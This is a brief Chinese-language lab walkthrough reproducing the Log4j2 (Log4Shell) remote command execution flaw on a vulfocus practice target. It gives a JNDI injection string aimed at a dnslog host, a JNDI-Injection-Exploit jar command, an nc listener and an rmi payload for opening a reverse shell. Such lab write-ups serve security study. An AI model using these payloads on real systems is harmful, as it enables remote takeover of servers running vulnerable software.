Log4j2远程命令执行复现
一、漏洞环境
环境是http://vulfocus.fofa.so平台的

二、漏洞验证
启动环境后访问
抓包,修改请求为post

在数据中的Accept:头插入exp
${jndi:ldap://8hqrxz.dnslog.cn}
成功回显到dnslog平台
三、反弹shell
使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 生成payload
可以在这里下载:https://github.com/bkfish/Apache-Log4j-Learning/tree/main/tools
使用该网址加密反弹shell命令:https://www.jackson-t.ca/runtime-exec-payloads.html

然后生成payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A "服务器ip" -C "命令"

服务器开启监听7777端口nc -lvnp 7777
再在Accept:头插入${jndi:rmi://服务器ip:端口/xxx} xxx为生成的exp
fuzz一下即可,也可能是其他的exp

服务器端的ldap回显正常,此时已经反弹shell成功

|